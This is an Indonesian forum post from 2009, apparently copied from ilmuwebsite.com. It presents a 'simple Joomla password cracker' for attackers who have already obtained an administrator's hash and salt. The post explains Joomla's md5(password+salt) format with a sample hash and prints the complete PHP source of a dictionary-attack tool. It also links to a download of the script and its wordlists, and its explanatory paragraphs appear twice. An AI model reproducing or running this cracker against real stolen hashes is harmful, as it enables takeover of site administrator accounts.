POC Joomla password hash+salt cracking - ilmuwebsite.com
Posted: Tue Nov 17, 2009 10:25 pm
Betapa mudahnya seorang attacker mendapatkan username dan password sang administrator pada content management system seperti joomla, tapi masih terdapat satu masalah, dimana seorang attacker masih belum dapat melakukan eksploitasi lebih lanjut, dikarenakan password yang didapatkan itu masih dalam bentuk password yang terenkripsi, sehingga butuh perlakuan khusus lebih lanjut untuk mendapatkan password yang sesungguhnya. Di sinilah penulis akan mencoba menjelaskan sebuah konsep sederhana bagaimana mendapatkan suatu password asli yang terenkripsi, namun penulis hanya membatasi cracking password pada satu jenis hash saja, yaitu joomla hash password. Penjelasan yang akan penulis lakukan bukanlah mencoba membuat algoritma dekripsi password tetapi hanyalah penggunaan metode dictionary file, dimana untuk mendapatkan password asli cukup dilakukan pencocokan password dengan kamus data yang ada sehingga menghasilkan password yang sebenarnya. . Namun setiap aplikasi selalu saja memiliki kekurangan, penulis tidak menafikan hal itu. Karena kesempurnaan hanyalah milik sang Pencipta. Wink Kekurangannya adalah resource memori yang di butuhkan untuk metode seperti ini cenderung lebih besar dari ukuran biasanya.
Berikut adalah source code lengkap 'simple joomla password cracker' :
-----------------------// cut here
-----------------------// cut here
Untuk menjalankan script ini di localhost anda perlu merubah konfigurasi php.ini, yaitu dengan mengganti baris ini :
memory_limit = 32M ;
menjadi > 32, penulis menggantinya menjadi :
memory_limit = 256M ;
Ya, sebelum berlanjut, penulis akan membahas struktur password joomla yang terenkripsi terlebih dahulu, enkripsi password joomla biasanya terdiri dari hash dan salt. Standar enkripsi joomla biasanya berbentuk seperti ini :
b51498faae03f7cf533e3ed97fc00116:9VrQpQzdNQHhtieK
Hashnya itu terdapat pada bagian yang pertama yaitu b51498faae03f7cf533e3ed97fc00116, dan saltnya itu ada di bagian akhir 9VrQpQzdNQHhtieK, keduanya terlihat di pisahkan dengan titik dua ":". Salt bagi seorang attacker berfungsi untuk membantu dalam pencarian password sesungguhnya.
Yang ditemukan disini adalah jika password berbentuk plain text di gabung dengan saltnya maka akan menghasilkan hash password joomla. Dengan kata lain jika : x + salt = hash joomla. Sehingga jika di implementasikan melalui enkripsi md5 :
md5(x + salt) = hash
maka :
md5(x + 9VrQpQzdNQHhtieK) = b51498faae03f7cf533e3ed97fc00116
berapakah x ? ( pak Mamat guru matematika di SMAN 4 Bogor kayanya tau. huehuehuehehe... )
Ya seperti pada baris kalimat ini :
...
if (md5($a.$hashes[$x][1]) === $hashes[$x][0])
{
echo "<font size=2 face=Verdana color=#FFFFFF><br><br><u>The password is : </u></font><font size=2 face=Verdana color=#00FF00><h1>$a</h1></font>";
...
Dan hasilnya adalah ...
~~
Penulis yakin anda cukup familiar dengan source di atasnya. Dan algoritmanya pun cukup mudah. Script lengkap dan kamus passwordnya dapat di download di
Selamat mencoba. Selamat mengembangkan !
sumber :
Berikut adalah source code lengkap 'simple joomla password cracker' :
-----------------------// cut here
Code: Select all
<HTML>
<HEAD>
<BASEFONT SIZE=3>
<TITLE>::: Joomla Password Cracker :::</TITLE>
</HEAD>
<BODY BGCOLOR=#000000 vlink=#0000FF>
<center>
<p align="center"><font face="Verdana" size="1"><BR>
</B><BR>
</font></p>
<p align="center"> </p>
<p align="center"> </p>
<TABLE BORDER=0 WIDTH=500 CELLPADDING=3 CELLSPACING=0>
<tr><td> <p align="center" style="margin-top: 0"><font color="#FFFFFF" face="Verdana" size="2"><u><font size="4">Simple</font></u>
</font><font size="4"><u><font face="Verdana" color="#00FF00"><strong>Joomla</strong></font> <font color="#FFFFFF" face="Verdana">Password Cracker</font></u></font><font size="2"><font color="#FFFFFF" face="Verdana"><br>
<font color="#00FF00">Developed by<strong> : ilmuwebsite.com </strong></font></font></font></p>
</td>
</tr>
</table>
<!-- Demonstration -->
<BODY>
<center>
<form action=index.php method="POST"><p>
<P>
<b>
<font size="2" face="Verdana" color="#FFFFFF"><u>Masukkan </u></font></b><u><font size="2" face="Verdana" color="#FFFFFF">password hashnya disini :</font></u><font size="2" face="Verdana" color="#FFFFFF"></font><font color="#00FF00" size="1" face="Verdana"><br>
<BR>
<input type="text" name="hash" size=55 style="font-family: Verdana; font-size: 8pt; color: #00FF00; border: 1px solid #00FF00; background-color: #000000">
<input type="submit" name="send" value="Cari !!!" style="font-family: Verdana; font-size: 8pt; color: #00FF00; border: 1px solid #00FF00; background-color: #000000">
</font>
<P><br>
</form>
<?php
$hashes=array();
$i=0;
$parts=explode(":",$_POST['hash']);
$hashes[$i][0]=$parts[0];
$hashes[$i][1]=$parts[1];
if (ISSET($_POST['hash']))
{
$str = " ";
echo "<font size=2 face=Verdana color=#FFFFFF><u>Started: </u>";
echo date("F j, Y, g:i:s a");
$lines = file('kamus2.txt');
foreach ($lines as $line_num => $line)
{
check($line);
}
$lines = file('kamus1.txt');
foreach ($lines as $line_num => $line)
{
check($line);
}
echo "<br><font size=2 face=Verdana color=#FFFFFF><u>Finished : </u>";
echo date("F j, Y, g:i:s a");
}
function check($a)
{
global $i;
$a=rtrim($a) ;
for($x=0;$x<=$i;$x++)
{
global $hashes;
if (md5($a.$hashes[$x][1]) === $hashes[$x][0])
{
echo "<font size=2 face=Verdana color=#FFFFFF><br><br><u>The password is : </u></font><font size=2 face=Verdana color=#00FF00><h1>$a</h1></font>";
echo "<u>Ended: </u>";
echo date("F j, Y, g:i:s a");
}
}
}
?>
<font size="2" face="Verdana" color="#FFFFFF"><u><br><br>Tolong di kembangkan ya ?! :D </u></font>
</center>
</body></html>
Untuk menjalankan script ini di localhost anda perlu merubah konfigurasi php.ini, yaitu dengan mengganti baris ini :
memory_limit = 32M ;
menjadi > 32, penulis menggantinya menjadi :
memory_limit = 256M ;
Ya, sebelum berlanjut, penulis akan membahas struktur password joomla yang terenkripsi terlebih dahulu, enkripsi password joomla biasanya terdiri dari hash dan salt. Standar enkripsi joomla biasanya berbentuk seperti ini :
b51498faae03f7cf533e3ed97fc00116:9VrQpQzdNQHhtieK
Hashnya itu terdapat pada bagian yang pertama yaitu b51498faae03f7cf533e3ed97fc00116, dan saltnya itu ada di bagian akhir 9VrQpQzdNQHhtieK, keduanya terlihat di pisahkan dengan titik dua ":". Salt bagi seorang attacker berfungsi untuk membantu dalam pencarian password sesungguhnya.
Yang ditemukan disini adalah jika password berbentuk plain text di gabung dengan saltnya maka akan menghasilkan hash password joomla. Dengan kata lain jika : x + salt = hash joomla. Sehingga jika di implementasikan melalui enkripsi md5 :
md5(x + salt) = hash
maka :
md5(x + 9VrQpQzdNQHhtieK) = b51498faae03f7cf533e3ed97fc00116
berapakah x ? ( pak Mamat guru matematika di SMAN 4 Bogor kayanya tau. huehuehuehehe... )
Ya seperti pada baris kalimat ini :
...
if (md5($a.$hashes[$x][1]) === $hashes[$x][0])
{
echo "<font size=2 face=Verdana color=#FFFFFF><br><br><u>The password is : </u></font><font size=2 face=Verdana color=#00FF00><h1>$a</h1></font>";
...
Dan hasilnya adalah ...
~~
Penulis yakin anda cukup familiar dengan source di atasnya. Dan algoritmanya pun cukup mudah. Script lengkap dan kamus passwordnya dapat di download di
Code: Select all
http://www.unair.info/ilmuwebsite/hack/jomla2/brute.zip
sumber :
Code: Select all
www.ilmuwebsite.com